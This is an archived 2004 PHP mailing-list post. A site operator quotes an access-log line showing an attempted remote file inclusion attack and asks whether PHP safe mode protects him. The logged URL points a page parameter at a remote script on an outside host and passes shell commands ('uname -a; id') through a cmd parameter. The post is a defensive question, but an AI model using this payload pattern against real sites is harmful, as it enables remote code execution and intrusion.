File Injection Bug
| From: | Bc. Radek Krejča | Date: | Sun, 15 Feb 2004 20:20:28 +0000 |
| Subject: | File Injection Bug | ||
| Groups: | php.general | ||
| Request: | Send a blank email to php-general+get-177744@lists.php.net to get a copy of this message | ||
Hello,
I found very interesting messages in my access log:
http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;
It looks as trying of hack. Am I immune, if I have safe mod (because
asu.txt is php script, which runs function system()).
thanks
Radek
--
Regards,
Bc. Radek Krejča
Starnet, s. r. o.
radek@ceskedomeny.cz
http://www.ceskedomeny.cz
http://www.skdomeny.com
http://www.starnet.cz
ICQ: 65895541